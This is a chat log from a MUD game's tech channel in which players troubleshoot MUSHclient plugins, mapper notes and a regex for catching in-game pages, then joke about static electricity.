T3/r7/2013-11-24.txt.gz:{chan ch=tech}TrEz Tech: why is that
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Daloran Tech: nobody puts youtube in the corner!
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Woo, I can't believe I'm having this much funz, but I'm finishing the Quickbid plugin, now :D Ahh who was that asked... Trachx.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Kosirk sings along as he finished another cute script...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Woohoo my new QuickNotes plugin works like a charm :D Tomorrow, it will be as a miniwindow!
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: Sweet :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShadowWalker Tech: mush mapper has notes can add to any room, it echos when you enter it too 
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Arnica Tech: Where is the challenge in that? :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShadowWalker Tech: not much challenge in re-inventing th wheel :p
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: i like the notes feature
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Nah, I don't want room notes. I want general notes. A notepad, but an ingame one, and something nicer than the Mushclient notepad, which I dislike.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: u can use it to trigger stuff in the room
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Sometimes I wanna revisit places, and I tend to forget them, if I don't write them down.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: xactly
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: i smoke so i have trouble remembering stuff from an hour ago :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I have an issue with remembering names, at first :S
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShadowWalker Tech: That is bad shamrock. heh
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Anyways, now my Quicknotes remembers its' data between sessions, and is easy accessible and changeable! And looks nice, too :P Very very simple.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: ShamrockV )
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'll add it to my post in Tech forum :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: what i would like is a window to pop open and display quest info and cp ch
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: bast has that already
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Arnica Tech: It is very nice
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: who or what is bast?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: finger bast
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: tyvm :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Arnica Tech: events
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShadowWalker Tech: i supose there is no easy way to see a list or even the contents of any note made in mush mapper
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: there is
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Zetkax Tech: mapper notes here
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Zetkax Tech: and ... mapper notes
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShadowWalker Tech: i meant for all areas not the room im in
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Zetkax Tech: type mapper notes
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: note the difference in the two things zet said
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShadowWalker Tech: oh mapper notes does it, nice nice
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Shamrock, although Bast is beyond my abilities, you could check out my recent post at tech forum. I have two small plugins for quest and cp followup. :) Stolen from old script and embedded within simple miniwindows.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Negader Tech: forum
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Negader Tech: help tech forum
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Gener Tech: wow I typed mapper notes.  i did not realize i made so many  :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: help forum, help note read
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: a handy use for mapper notes is "mapper notes adaldar" (or any other area name)...mapper help searching for other ways to find stuff
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Negader Tech: how do you access dropbox folder?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: follow the link
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You see the link in my forum post?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: do "forum tech" and then "note list"
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: then "note read #" of my recent post :)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Abelinc, can you page me? I'm testing this trigger out :D for emergency and services.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: 'note from kosirk' will give a shorter list
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Negader Tech: i'll look for it in the saved log.. when i come back.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: page yourself or use echo ;-)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: although for best channel triggers, you should use GMCP
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: paging myself or echoing is quite different from the real page :S
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm not sure what you mean by using GMCP for testing purposes
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Pleiades Tech: I just paged myself.. it works
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Pleiades Tech: paging abelinc worked too
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: i have those bast plugins, i installed a few, how do i get the windows to show up? 
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: they'll show up when it's time
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: you don't use GMCP for testing purposes, you should be using GMCP for channel triggers
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: i installed tab window
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: and i got nothing
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: and paging yourself and using echo is not different from the real page
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: Smamrock did you also install the broadcast and winiwin plugins?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm testing the ActivateClient() function, so I need someone to page me when I move away from it, to see that it works.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: no you don't
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: do i install all the plugins? i thought it warned to only pick and choose
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: no, you don't install all of the plugins
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: well i been playing with it for  30 mins, it says they are installed, but i dont have any windows showing
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: you install the ones you like. If you want cp, you install broadcast and miniwin cp. The tabbar plugin is a nice one to control them
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: but tabbar surely wasn't what you were looking for
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: tabbar to make sure its working, and it isnt
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: tabbar doesn't make sure anything's working
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: but keep in mind that cp and quest window may only appear when you actually are on a cp or wuest
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: have you typed cp check?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: well yes, but it shud show up when i install tabbar right? some sort of window??
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: no
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: the page on tabbar says what to type if you don't see the window
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: but again, tabbar wouldn't do what you told us you wanted to do
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: I also have the tabbar but the windows only show when I have a quest or cp active
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: well i dont get anything
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: did you type what the tabbar page says to type?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: and i just installed all the broadcast ones
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: and you have both miniwin and broadcast installed?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: what page?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: you should never install a broadcast plugin
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: broadcast plugins are not for you (or anyone)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: screw it, im turfing it all
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: they have no windows at all...you want windows, try installing the ones that say win
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: I DID THAT ALREADY
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: and what page? bast's page
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: TABBAR IS A WINDOW
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: stop shouting
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: yes
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: he has a page on every single one of his plugins, telling you what they do and what commands to use
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: well i dont like to repeat myself
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: then don't say stuff that's meaningless
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: hmph
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: so...did you type what the tabbar page says to type
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: as I've repeated multiple times so far
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: his install guide ends with, pick the plugins u want
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: not install guide
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: the page on tabbar
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: is the page, on basts site?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: how would you know which plugins to pick if you haven't bothered to go to the pages for the plugins?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: yes, bast's site
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Pleiades grabs some popcorn and sits back to watch the show.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: where it has 30 telling you what all those plugins do
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: well he should have that as the next step for installation
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Velian Tech: popcorns sounds good...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: no, it's before installation
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Pleiades nods at Velian.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: why would you install without knowing WHAT you're installing?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: you don't just choose random file names
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Kosirk ascii mapper stopped working for no apparent reason, and restarting everything or anything doesn't help ><
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: yeah im taking care of that now, deleting
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: deleting wouldn't get you any closer
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: im removing all bast plugins
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: kosirk: type "tags"...make sure Global is On and MAP is YES
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: again, removing bast plugins doesn't get you any closer to your goal
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: i have a new goal
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ShamrockV Tech: the goal is to get rid of the bast stuff, forget i ever saw the page
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: They are :S
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Ayasinda Tech: it's your decision but you are ignoring some of the best plugins made for aard
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: kosirk: type "automap"...does it say it's turning it on or off?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Neither mode helps :S It's showing the map on regular and not on miniwindow.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: normally the only time it'd do that is if the map tags are not being sent by the MUD
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: It might be related to my own plugins... I'll try some things out
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Not working at all.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: also make sure you're not in nomap rooms
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: although if it's showing in main, that shouldn't be it
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm at forge, and nothing working o-o so odd
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I get the map TWICE when I move around, on output, with automap off o-o
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: if you're getting it twice, then it's being sent from the MUD, plus then being spit out from the capture
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: That doesn't tell me much, Abelinc.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: I'd say back out whatever changes you made recently
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Already had. Even did resetaard.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: resetaard doesn't back out changes you've made...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: it just resets the plugin states to default
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You mean to the plugin itself? I made no changes to it.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: you've been making quite a few changes...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Only with my own plugins.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: ...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Pleiades Tech: I need more popcorn
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: What would be causing my mush plguin to not capture and update cp targets right?  Seemed to change when I modified my prompt
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm really speechless here o-o
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: vex: make sure your prompt ends in %c
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: change your anti-idle to a timer and maybe the map will work ;-)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: Does my bpromp need to end in that as well, Abe?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Vexthorne Tech: That's probably it, thank you
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: lol I've already removed all my own plugins, but nothing changed.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I think I know what it was >< I think it's solved, now.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ElFeneri Tech: grats
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Had to reconnect to verify this...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Use MXP "Always", instead of default "On Command" ... I think that did it. >< I dont know much about MXP stuff :P I was wondering why I don't get clickable links in this game hehe
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: there's no reason to have mxp on...and you do get clickable links here
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Like what? What should be clickable?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: http://www.google.com is clickable
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I mean ingame. Mobs, items, names of players.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: try bast's miniwin_eq plugin :-)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I don't need that. I mean like... Why can't I click a player's name to have it setup a tell for me? Or click an item to ID it? things like that.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: so 'you don't need that'...but you want that...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: What? I don't want it, either. I'm talking about MXP links dude. Not more miniwindows.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: mxp is irrelevant
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: the information is sent from aard in a format more conducive than mxp, if you choose to use it
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: What format?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: depends on which particular piece...GMCP for some things, tagged for others...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: invmon and its related commands provide a ton of information
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Kosirk sees "You will now see inventory update tags."
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: What's that for then?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: lots of helpfiles available...or check out miniwin_eq like I suggested
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Oh, just a tag for scripts.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: heh, what do you think mxp is?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: By the way, there's something odd about my page output... Send me one and ill copy and show you.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: again, you don't need anyone else to send you one
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: As far as I know, MXP is what lets me click thingies ingame :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: then you don't know what mxp is...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Just send me one and I'll show you. Totally different from echo or self page.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: it's not different in the least
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Pleiades Tech: do you guys want to create a support group?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Pleiades, send me a page, and I'll show you guys what I mean. It's odd. I'm being serious here.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: I'm being serious as well...echo will test your trigger the same as someone else sending you a page will
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Pleiades Tech: blunt won't let me page strangers
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: What's blunt?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: a fellow clannie of pleiades's
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: it's amusing that someone who was attempting to school us on how timers work vs triggers can't test his own trigs :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Works like magic :D But, this is how my page looks like: [01:41] Escobar pages you 'PAGE PAGE'
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You see? It has an odd symbol in the beginning.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Blah, didn't copy the symbol here ><
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: http://s20.postimg.org/to22gvlyl/screenshot_12.png
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You see??
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: echo {tell}SoAndSo pages you 'Hi there!'
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm probably doing bad regexp, as always.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}HomerSimpson Tech: if you're having perl problems I feel bad for you son. I got 99 problems, so I used regexp.... Now I have 100 problems! (stolen from xkcd)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Kosirk laughs
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: not perl, merely PCRE
T3/r7/2013-11-24.txt.gz:{chan ch=tech}HomerSimpson Tech: the original is perl
T3/r7/2013-11-24.txt.gz:{chan ch=tech}HomerSimpson Tech: http://xkcd.com/1171/
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: perl has nothing whatsoever to do with this...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}HomerSimpson Tech: no, but regexp do, and that's what the point of the strip is about
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Adept of Lao Tech: i love looking up larry wall quotes...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: kind of
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I use the regexp: ^(.*?) pages you
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: But when I display the %1 I get {tell}Name >< Must get rid of the {tell} part!
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: ugh
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Any ideas Abe?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: take the {tell} out of the (.*?)
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: yeah, I thought maybe a more practical regexp answer..
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: ^[{]tell[}](.*?) pages you
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: That killed it dead.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: ^\{*\}(.*?) pages you   did the trick :D Evil regexp, indeed.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: that should only match {}, {{}, {{{}, {{{{{}, etc...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You need to refresh on your regexp :D It works fine.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: since the * says "zero or more instances of what is directly to the left of me", which is the \{
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: no, I don't
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: . means any single character
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: you didn't have a .
T3/r7/2013-11-24.txt.gz:{chan ch=tech}ElFeneri Tech: yes, but * is a quantifier, not a matcher
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: in the first part
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: where you have "\{*\}"...it would NOT match {tell}
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: it would ONLY match "}", "{}", "{{}", etc.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I'm saying that it works, and that without it, it doesn't. Simple fact.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: sure sure
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: You obviously know more theory than practice :P pfff
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: and nothing you did caused the automapper to display twice in the main output and not in the capture
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Hey, I'm totally at fault for messing with MXP settings :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: wow, what a surprise...a copy/paste of your pattern doesn't work in MUSHclient :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: until correcting what I pointed out
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: See the proof for yourself. All I'm left is making sure it works in the no {} case. http://s20.postimg.org/mamohx1wt/screenshot_14.png
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: If you've got something working and good, then do share.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: that's not the pattern you posted..
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Zade Tech: "one or more total instances" or "zero or more extra instances" seems logical -- since "ZERO or more total instances of what is to the left the the *" is a T
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: you didn't have a period after the first {, which was what I pointed out
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: and my pattern worked flawlessly as well
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: ooh, i'm in a screenshot
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: that's why copy/paste is better than trying to type
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Show your pattern...
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: tech -h tell
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: right when you asked for a regexp
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: That one didn't work at all, man. Did you see the different scenarios in my screenie?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: it worked flawlessly for page output
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: there is no scenario {}Bob pages you
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Does it give you a correct %1 var? The user name.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Screenie or didn't happen :P
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: although again, the best way to do this stuff is to use GMCP, as the sender's username is sent in a special variable from the MUD
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: separate from the contents of the page/channel
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: Can you give an example of how to do that?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: my autoreply plugin has an example of it..
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: And? Where is it?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: You bury your face in your hand and sigh.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: finger me, baby
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Kosirk laughs
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Aizma Tech: Get a room
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Gener covers his eyes.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: Definitely Defines fondly fondles you. 
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Kosirk Tech: I don't see anything new in your script. o-o I guess I'll just let this one with the strict {tell} situation and let it be.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Trainer Mokg Tech: anyone know whats needed to not have to reinstall win 7 after swapping motherboards?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Tech: should just need to revalidate
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Niera Tech: how to install a mini-window plugin?
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Niera Tech: for mushclient
T3/r7/2013-11-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: just as you would any other plugin
T3/r7/2013-11-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: press shift + ctr + p
T3/r7/2013-11-24.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: then click add, find the xml, and add it
T3/r7/2013-11-24.txt.gz:{chan ch=tech}Niera Tech: thanks much
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: what is the best way to get all of the static electricity off my arms?  I keep grabbing metal but it wont go
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Water, maybe?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Madcatz Tech: make sure the metal is grounded
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Madcatz Tech: like a washing machine or something
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: nothing grounded upstairrs.. hrmm.. 
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: When a hairbrush has static electricity and you get it wet, it stops having that. So.. Yeah. Really nontechnical way of explaining that on my part. :P
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: ok, i poured water on the static electricity and now everything is on fire.. BRB
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: O.o
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: heh?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Now I'm wondering if that could really happen. Just for static electricity..? Shouldnt.. Sheesh, I feel blonde.
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: are you sure your not?
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: Hmm. 50% sure.
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: so I ate all of the fire.. and now my stomoch is upset, i guess i just have to go downstairs, get some pepto, and touch the clothes washer :(
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Ranrr Tech: A grounded wall socket is a good way to get rid of static electricity.
T3/r7/2013-11-25.txt.gz:{chan ch=tech}Ranrr Tech: Also fun if someone sees you do it and think it's dangerous
T3/r7/2013-11-25.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: I really dont know enough about electrical wiring to be playing around with it.. I thought of the idea briefly, but this is just a minor annoyance
